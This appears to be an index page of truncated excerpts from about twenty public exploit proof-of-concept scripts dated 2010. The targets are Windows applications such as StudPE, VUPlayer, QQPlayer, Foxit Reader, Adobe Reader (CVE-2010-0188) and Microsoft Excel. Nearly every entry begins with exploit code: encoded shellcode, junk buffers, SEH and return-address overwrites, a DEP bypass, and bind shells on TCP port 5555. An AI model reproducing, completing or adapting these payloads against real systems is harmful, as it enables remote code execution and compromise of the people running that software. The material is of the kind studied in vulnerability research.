Stud_PE-2.6.05

Exploit Title: StudPE v2.6.05 Stack Overflow PoC exploit Date: 03/28/2010 Author: zha0 Software Link: http://www.cgsoftlabs.ro/studpe.html Version: StudPE v2.6.05 peexe= "\x4D\x5A\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xFF\xFF\x00\x00"...

Kenward-Zipper-1.4

Exploit Title : Kenward zipper v1.4 0day Stack Buffer Overflow PoC exploit Date : 23/3/2010 Bug found by : corelanc0d3r http://www.corelan.be:8800/ Author : mrme http://net-ninja.net/ Software Link : http://www.trans4mind.com/personaldevelopment/zipper/ Version : 1.4 ldfheader =...

ZippHo-3.0.6-(.zip)

ZippHo 3.0.6 .zip 0day stack buffer overflow PoC exploit Author: mrme - http://net-ninja.net/ http://twitter.com/StevenSeeley Download: http://www.brothersoft.com/zippho-71295.html Platform: Windows XP sp3 En local file header lfheader =...

Adobe-Reader-PDF-LibTiff

Title: Adobe PDF LibTiff Integer Overflow Code Execution. Product: Adobe Acrobat Reader Version: 8.3.0, 9.3.0 CVE: 2010-0188 import sys import base64 import struct import zlib import StringIO SHELLCODEOFFSET=0x555 TIFFOFSET=0x2038 windows/exec - 227 bytes http://www.metasploit.com Encoder:...

Archive-Searcher-(.zip)

Software : Archive Searcher 2.1 Author : Lincoln OS : Windows Tested on : XP SP3 En VirtualBox Zip Headers header1= "\x50\x4b\x03\x04\x14\x00\x00\x00" + "\x00\x00\xb7\xac\xce\x34\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\xe4\x0f\x00\x00\x00" header2= "\x50\x4b\x01\x02\x14\x00\x14\x00"...

VUPlayer-2.49---(.m3u)

VUPlayer 2.49 .M3u Universal buffer overflow exploit w/ DEP bypass Author: mrme Download: http://vuplayer.com/ Tested on Wind0ws XP SP3 /noexecute=alwayson sc = "\x89\xe1\xd9\xee\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49" "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56"...

Audio-Converter-8.1

Author : Sud0 Bug found by : chap0 Software Link : http://download.cnet.com/Audio-Converter/3000-21404-10045287.html Version : 8.1 OS : Windows import socket shellcode running calc.exe alpha2 encoded basereg edx...

Orbital-Viewer-1.04-(.ov)

Pro: Orbital Viewer v1.04 .orb/.ov Local Universal Stack Overflow Exploit SEH Author: CrazyHacker Download: http://www.orbitals.com/orb/setupov.exe Date: 20-6-2010 $junk = 6060; $header = "OrbitalFileV1.0\n"; $nseh = "\xeb\xf9\xff\xff"; jmp back 7 bytes $seh = "\x0b\x0b\x27\x00"; universal pop eb...

Mini-stream-RM-MP3-Converter

Tested on Windows XP SP3 Pro Found By : Cyber-Zone ABDELKHALEK http://www.securityfocus.com/bid/34494 The way exploit written is slightly different than above Vulnerability handler = "ftp://" buff1 = "D" 17418 eip = "\x7D\xA5\x04\x10" 0x1004A57D jmp esp C:\Program...

QQPlayer-cue-File-Buffer-Overflow

Title: QQPlayer cue File Buffer Overflow Exploit Author: Lufeng Li of Neusoft Corporation Vendor: www.qq.com Platform: Windows XPSP3 Chinese Simplified head = '''FILE "''' junk = "A" 780 nseh ="\x42\x61\x21\x61" seh ="\xa9\x9e\x41\x00" adjust="\x32\x42\x61\x33\xca\x83\xc0\x10"...

Foxit-Reader-4.0-PDF

Product: Foxit Reader 4.0 Platforms: Windows XP, Windows Vista Web: http://eternal-todo.com import sys,zlib def getFFShellcodesc: ffsc = '' if lensc%4 != 0: sc += 4-lensc%4'\x00' for i in range0,lensc,4: ffsc += '\xff'+sci+3+sci+2+sci+1+sci return ffsc outputHeader = ''' outputFileName =...

Triologic-Media-Player-8-(.m3u)

Exploit Title: Triologic Media Player 8 .m3u Local Universal Unicode Buffer Overflow SEH Date: August 17, 2010 Software Link: http://download.cnet.com/Triologic-Media-Player/3000-21394-10691520.html buffer = "\x41" 536 buffer buffer += "\x61\x41" popad + nop/align buffer += "\xF2\x41" pop,pop,ret...

MUSE-4.9.0.006-(.m3u)

Exploit Title: MUSE v4.9.0.006 .m3u Local Buffer Overflow Exploit Date: August 17, 2010 Author: Glafkos Charalambous glafkos@astalavistadotcom buffersize = 205 nopsled = "\x90" 4 Custom MessageBox x86/shikataganai succeeded with size 104 iteration=1 shellcode =...

Rosoft-media-player-4.4.4

Original Advisory:http://www.exploit-db.com/exploits/14601 - abhishek lyall Download:http://www.exploit-db.com/application/14601/ Platform:Windows XP SP3 EN Professional - VMware outputfile="exploit.m3u" junk="\x41"3470 nseh="\xeb\x88\x90\x90" reverse jump 118 bytes seh="\x49\xd4\x46\x00" PPR -...

Xion-Player-1.0.125

Script provided as is without any warranty. Use for educational purposes only. Do not use this code to do anything illegal ! Corelan does not want anyone to use this script outputfile="corelanc0d3r.m3u" offsettonseh=250 affected by the m3u path length ! junk = "A" offsettonseh nseh="\x41\x45"...

Mediacoder-0.7.5.4710

media coder 0.7.5.4710 0 day buffer overflow exploit vulnerble application link http://www.mediacoderhq.com/dlfull.htm tested on XP SP2 filename = "crash.m3u" junk = "\x41" 256 eip = "\x65\x82\xa5\x7c" JMP ESP shell32.dll nop = "\x90" 12 port bind 5555 shellcode scode =...

myMP3-Player-3.0

Exploit Title: myMP3-Player 3.0 NOT SEH Overwrite Date: 882010 Author: Oh Yaw Theng Software Link: http://www.chip.de/downloads/myMP3-Player-3.013008621.html filename = "crash.m3u" junk = "\x41" 1024 ret = "\x65\x82\xA5\x7C" 7C A5 82 65 FFE4 JMP ESP Bind shell at TCP Port 5555 Telnet to this port...

Microsoft-Excel-OBJ-Record

Title: Microsoft Excel OBJ Record Stack Overflow Version: Excell 2002 and XP SP3 Analysis: http://www.abysssec.com import sys def main: try: fdR = open'src.xls', 'rb+' strTotal = fdR.read str1 = strTotal:36640 str2 = strTotal37440: shellcode calc.exe shellcode =...

DJ-Studio-Pro-8.1.3.2.1

DJ Studio Pro Version 8.1.3.2.1 SEH 0 day Author Abhishek Lyall - abhilyallatgmaildotcom, infoataslitsecuritydotcom Web - http://www.aslitsecurity.com/ filename = "ASL.pls" windows/exec - CMD=calc.exe shellcode = "\x41\x42\x48\x49\x41\x42\x48\x49" Egg Hunted...

Excel-RTD-Memory-Corruption

Analysis: http://www.abysssec.com Vendor: http://www.microsoft.com Impact: Critical import sys def main: try: fdR = open'src.xls', 'rb+' strTotal = fdR.read str1 = strTotal:4509 str2 = strTotal5013:15000 str3 = strTotal15800: eip = "\xAd\x57\x00\x30" pop pop ret jmp = "\xF7\xC2\x03\x30" call esp...